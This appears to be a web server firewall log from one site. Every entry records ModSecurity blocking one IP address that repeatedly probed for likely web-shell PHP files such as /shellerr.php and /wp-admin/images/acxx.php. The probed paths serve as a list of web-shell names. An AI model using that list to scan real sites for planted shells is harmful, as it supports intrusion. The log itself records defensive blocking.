[Tue Mar 24 21:24:38.538537 2026] [:error] [pid 3032:tid 3122] [client 20.19.171.59:45590] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "acKQlia_-JXXD03-JNxdfQAAAJM"]
[Tue Mar 24 21:24:39.622925 2026] [:error] [pid 48128:tid 48173] [client 20.19.171.59:1736] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "acKQl8vR4LIMFLbM5Vk-vwAAAZQ"]
[Tue Mar 24 21:24:40.399699 2026] [:error] [pid 3032:tid 3114] [client 20.19.171.59:11443] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "acKQmCa_-JXXD03-JNxdgwAAAIs"]
[Tue Mar 24 21:24:41.563130 2026] [:error] [pid 3032:tid 3106] [client 20.19.171.59:1294] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "acKQmSa_-JXXD03-JNxdhgAAAIM"]
[Tue Mar 24 21:24:42.894941 2026] [:error] [pid 64198:tid 64222] [client 20.19.171.59:42943] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "acKQmnVzJqf6OS_oSZ3NHAAAAVY"]
[Tue Mar 24 21:24:44.450139 2026] [:error] [pid 48128:tid 48172] [client 20.19.171.59:3196] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acKQnMvR4LIMFLbM5Vk-xAAAAZM"]
[Tue Mar 24 21:24:45.086794 2026] [:error] [pid 48219:tid 48281] [client 20.19.171.59:8595] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acKQnShf3b4R_lAIyv-MWgAAAgA"]
[Tue Mar 24 21:24:45.845288 2026] [:error] [pid 64198:tid 64215] [client 20.19.171.59:27401] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acKQnXVzJqf6OS_oSZ3NLAAAAU8"]
[Tue Mar 24 21:24:46.868678 2026] [:error] [pid 48214:tid 48259] [client 20.19.171.59:15780] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acKQnreshLWZ3uUDHKl3UgAAAcc"]
[Tue Mar 24 21:24:47.493694 2026] [:error] [pid 3032:tid 3106] [client 20.19.171.59:15764] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acKQnya_-JXXD03-JNxdmgAAAIM"]
[Tue Mar 24 21:24:48.305295 2026] [:error] [pid 48128:tid 48163] [client 20.19.171.59:20132] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acKQoMvR4LIMFLbM5Vk-ywAAAYs"]
[Tue Mar 24 21:24:48.934727 2026] [:error] [pid 3137:tid 3154] [client 20.19.171.59:21972] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acKQoJdZesutm6dfYM9BLAAAAM8"]
[Tue Mar 24 21:24:49.961986 2026] [:error] [pid 48214:tid 48275] [client 20.19.171.59:41446] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acKQobeshLWZ3uUDHKl3WAAAAdc"]
[Tue Mar 24 21:24:50.819466 2026] [:error] [pid 3031:tid 3091] [client 20.19.171.59:9741] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acKQoqJBKytnG47nuiY8cgAAAE8"]
[Tue Mar 24 21:24:51.453150 2026] [:error] [pid 48214:tid 48257] [client 20.19.171.59:12430] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acKQo7eshLWZ3uUDHKl3WwAAAcU"]
[Tue Mar 24 21:24:52.164065 2026] [:error] [pid 3032:tid 3117] [client 20.19.171.59:45588] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acKQpCa_-JXXD03-JNxdngAAAI4"]
[Tue Mar 24 21:24:52.695605 2026] [:error] [pid 3032:tid 3123] [client 20.19.171.59:8377] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acKQpCa_-JXXD03-JNxdnwAAAJQ"]
[Tue Mar 24 21:24:53.263565 2026] [:error] [pid 38767:tid 38792] [client 20.19.171.59:12040] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyiiz.php"] [unique_id "acKQpfwkUqN4GJAI5oVU_AAAARY"]
[Tue Mar 24 21:24:53.995312 2026] [:error] [pid 38767:tid 38777] [client 20.19.171.59:42899] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyiiz.php"] [unique_id "acKQpfwkUqN4GJAI5oVVAgAAAQc"]
[Tue Mar 24 21:24:57.226190 2026] [:error] [pid 3032:tid 3119] [client 20.19.171.59:12056] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyiiz.php"] [unique_id "acKQqSa_-JXXD03-JNxdoQAAAJA"]
[Tue Mar 24 21:24:58.636612 2026] [:error] [pid 38767:tid 38781] [client 20.19.171.59:24926] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyiiz.php"] [unique_id "acKQqvwkUqN4GJAI5oVVMAAAAQs"]
[Tue Mar 24 21:25:00.660148 2026] [:error] [pid 38767:tid 38794] [client 20.19.171.59:39869] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyiiz.php"] [unique_id "acKQrPwkUqN4GJAI5oVVOwAAARg"]
[Tue Mar 24 21:25:01.865945 2026] [:error] [pid 48214:tid 48267] [client 20.19.171.59:25879] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyiiz.php"] [unique_id "acKQrbeshLWZ3uUDHKl3ZgAAAc8"]
[Tue Mar 24 21:25:02.691420 2026] [:error] [pid 48214:tid 48269] [client 20.19.171.59:8544] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acKQrreshLWZ3uUDHKl3bAAAAdE"]
[Tue Mar 24 21:25:03.273713 2026] [:error] [pid 3137:tid 3140] [client 20.19.171.59:40440] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acKQr5dZesutm6dfYM9BNgAAAME"]
[Tue Mar 24 21:25:03.996540 2026] [:error] [pid 48219:tid 48285] [client 20.19.171.59:15783] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acKQryhf3b4R_lAIyv-MdAAAAgQ"]
[Tue Mar 24 21:25:04.577474 2026] [:error] [pid 38767:tid 38790] [client 20.19.171.59:5212] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acKQsPwkUqN4GJAI5oVVPwAAARQ"]
[Tue Mar 24 21:25:05.159942 2026] [:error] [pid 3031:tid 3096] [client 20.19.171.59:1347] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acKQsaJBKytnG47nuiY8hQAAAFQ"]
[Tue Mar 24 21:25:05.661909 2026] [:error] [pid 38767:tid 38771] [client 20.19.171.59:39419] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acKQsfwkUqN4GJAI5oVVRAAAAQE"]
[Tue Mar 24 21:25:06.269889 2026] [:error] [pid 3032:tid 3115] [client 20.19.171.59:5199] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acKQsia_-JXXD03-JNxdowAAAIw"]
[Tue Mar 24 21:25:06.839220 2026] [:error] [pid 3031:tid 3094] [client 20.19.171.59:40395] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acKQsqJBKytnG47nuiY8hwAAAFI"]
[Tue Mar 24 21:25:07.618630 2026] [:error] [pid 64198:tid 64223] [client 20.19.171.59:15259] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acKQs3VzJqf6OS_oSZ3NQAAAAVc"]
[Tue Mar 24 21:25:08.155981 2026] [:error] [pid 48219:tid 48297] [client 20.19.171.59:11650] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acKQtChf3b4R_lAIyv-MegAAAhA"]
[Tue Mar 24 21:25:08.747718 2026] [:error] [pid 48128:tid 48163] [client 20.19.171.59:21983] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acKQtMvR4LIMFLbM5Vk-1wAAAYs"]
[Tue Mar 24 21:25:09.393704 2026] [:error] [pid 48214:tid 48276] [client 20.19.171.59:11711] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acKQtbeshLWZ3uUDHKl3cAAAAdg"]
[Tue Mar 24 21:25:09.905902 2026] [:error] [pid 38767:tid 38778] [client 20.19.171.59:1360] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acKQtfwkUqN4GJAI5oVVSAAAAQg"]
[Tue Mar 24 21:25:10.388672 2026] [:error] [pid 48219:tid 48289] [client 20.19.171.59:7510] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acKQtihf3b4R_lAIyv-MgAAAAgg"]
[Tue Mar 24 21:25:10.898312 2026] [:error] [pid 48219:tid 48286] [client 20.19.171.59:1327] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acKQtihf3b4R_lAIyv-MhAAAAgU"]
[Tue Mar 24 21:25:11.451261 2026] [:error] [pid 64198:tid 64222] [client 20.19.171.59:8582] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acKQt3VzJqf6OS_oSZ3NSwAAAVY"]
[Tue Mar 24 21:25:11.967964 2026] [:error] [pid 3032:tid 3111] [client 20.19.171.59:25859] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acKQtya_-JXXD03-JNxdqAAAAIg"]
[Tue Mar 24 21:25:12.486064 2026] [:error] [pid 48214:tid 48258] [client 20.19.171.59:18106] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acKQuLeshLWZ3uUDHKl3cgAAAcY"]
[Tue Mar 24 21:25:12.970898 2026] [:error] [pid 64198:tid 64204] [client 20.19.171.59:10901] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acKQuHVzJqf6OS_oSZ3NUQAAAUQ"]
[Tue Mar 24 21:25:13.526591 2026] [:error] [pid 64198:tid 64203] [client 20.19.171.59:49370] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acKQuXVzJqf6OS_oSZ3NUwAAAUM"]
[Tue Mar 24 21:25:14.013925 2026] [:error] [pid 3032:tid 3103] [client 20.19.171.59:1786] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acKQuia_-JXXD03-JNxdrAAAAIA"]
[Tue Mar 24 21:25:14.565468 2026] [:error] [pid 3030:tid 3062] [client 20.19.171.59:26429] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acKQugyOuILyynfcqfllhwAAAA0"]
[Tue Mar 24 21:25:15.046917 2026] [:error] [pid 3032:tid 3122] [client 20.19.171.59:27485] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acKQuya_-JXXD03-JNxdswAAAJM"]
[Tue Mar 24 21:25:15.541911 2026] [:error] [pid 3137:tid 3146] [client 20.19.171.59:41426] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acKQu5dZesutm6dfYM9BOAAAAMc"]
[Tue Mar 24 21:25:16.055436 2026] [:error] [pid 3137:tid 3156] [client 20.19.171.59:7639] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acKQvJdZesutm6dfYM9BPgAAANE"]
[Tue Mar 24 21:25:16.662566 2026] [:error] [pid 64198:tid 64200] [client 20.19.171.59:11705] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acKQvHVzJqf6OS_oSZ3NVgAAAUA"]
[Tue Mar 24 21:25:17.157221 2026] [:error] [pid 64198:tid 64207] [client 20.19.171.59:9728] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acKQvXVzJqf6OS_oSZ3NXAAAAUc"]
[Tue Mar 24 21:25:17.671361 2026] [:error] [pid 38767:tid 38775] [client 20.19.171.59:9355] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acKQvfwkUqN4GJAI5oVVUgAAAQU"]
[Tue Mar 24 21:25:18.227293 2026] [:error] [pid 38767:tid 38774] [client 20.19.171.59:7643] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acKQvvwkUqN4GJAI5oVVVAAAAQQ"]
[Tue Mar 24 21:25:18.818095 2026] [:error] [pid 48128:tid 48173] [client 20.19.171.59:12059] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acKQvsvR4LIMFLbM5Vk-3AAAAZQ"]
[Tue Mar 24 21:25:19.348431 2026] [:error] [pid 48214:tid 48252] [client 20.19.171.59:1295] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acKQv7eshLWZ3uUDHKl3egAAAcA"]
[Tue Mar 24 21:25:19.890176 2026] [:error] [pid 3030:tid 3072] [client 20.19.171.59:1731] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acKQvwyOuILyynfcqflljQAAABc"]
[Tue Mar 24 21:25:20.371402 2026] [:error] [pid 48128:tid 48150] [client 20.19.171.59:16847] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "acKQwMvR4LIMFLbM5Vk-3wAAAYE"]
